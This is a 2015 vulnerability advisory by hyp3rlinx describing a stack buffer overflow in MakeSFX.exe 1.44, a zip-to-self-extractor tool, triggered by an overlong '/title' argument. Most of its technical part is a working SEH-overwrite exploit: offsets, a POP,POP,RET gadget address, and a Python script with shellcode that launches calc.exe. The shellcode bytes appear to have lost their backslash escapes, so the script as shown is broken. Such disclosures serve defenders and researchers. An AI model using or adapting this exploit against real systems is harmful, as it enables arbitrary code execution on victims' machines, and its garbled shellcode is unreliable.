MakeSFX.exe 1.44 Stack Buffer Overflow
Posted on 01 October 2015
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-MAKESFX-BUFF-OVERFLOW-09302015.txt Vendor: ================================ freeextractor.sourceforge.net/FreeExtractor freeextractor.sourceforge.net/FreeExtractor/MakeSFX.exe Vulnerable Product: ================================================== MakeSFX.exe v1.44 Mar 19 2001 & Dec 10 2009 versions Vulnerability Type: ============================ Stack Based Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ========================= Converts a zip file into a 32-bit GUI Windows self-extractor. Example usage: makesfx.exe /zip="source.zip" /sfx="output.exe" [/title="Your Title"] [/website="http://www.example.com"] [/intro="This is a test self extractor"] [/defaultpath="$desktop$My Files"] [/autoextract] [/openexplorerwindow] [/shortcut="$desktop$Program Shortcut.lnk|$targetdir$Program.exe] [/delete] [/icon="MyIcon.ico"] [/overwrite] [/?] etc... The '/title' argument when supplied an overly long payload will overwrite NSEH & SEH exception handlers causing buffer overflow, we can then execute our aribitrary shellcode. I have seen some applications using MakeSFX.exe from .bat files for some automation purposes, if the local .bat file is replaced by malicious one attackers can cause mayhem on the system. Both versions from 2001 & 2009 are vulnerable but exploit setup will be off by 20 bytes. punksnotdead="A"*1078+"RRRR"+"BBBB" #<---- SEH Handler control MakeSFX v1.44 (Dec 10 2009) punksnotdead="A"*1158+"RRRR"+"BBBB" #<---- SEH Handler control MakeSFX v1.44 (Mar 19 2001) POC exploit code(s): ==================== We will exploit MakeSFX v1.44 (Mar 19 2001). I find one POP,POP,RET instruction in MakeSFX.exe with ASLR, SafeSEH, Rebase all set to False, but it contains null 0x00. So no suitable SEH instruction address avail, I will instead have to use mona.py to look for POP,POP,RET instruction in outside modules and we find some... e.g. 0x77319529 : pop esi # pop edi # ret | {PAGE_READONLY} Python script to exploitz! ========================== import struct,os,subprocess #MakeSFX v1.44 (Mar 19 2001) pgm="C:\hyp3rlinx\MakeSFX.exe " #shellcode to pop calc.exe sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") #punksnotdead="A"*1158+"RRRR"+"BBBB" #<--- KABOOOOOOM! nseh="xEBx06"+"x90"*2 seh=struct.pack('<L', 0x76F29529) punksnotdead="/title"+"A"*1158 + nseh + seh + sc + "x90"*10 subprocess.Popen([pgm, punksnotdead], shell=False) Disclosure Timeline: ========================================================= Vendor Notification: NA Sept 30, 2015 : Public Disclosure Exploitation Technique: ======================= Local Tested successfully on Windows SP1 DisableExceptionChainValidation in registry set to '1' value of 1 disables the registry entry that prevents SEH overwrites. =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx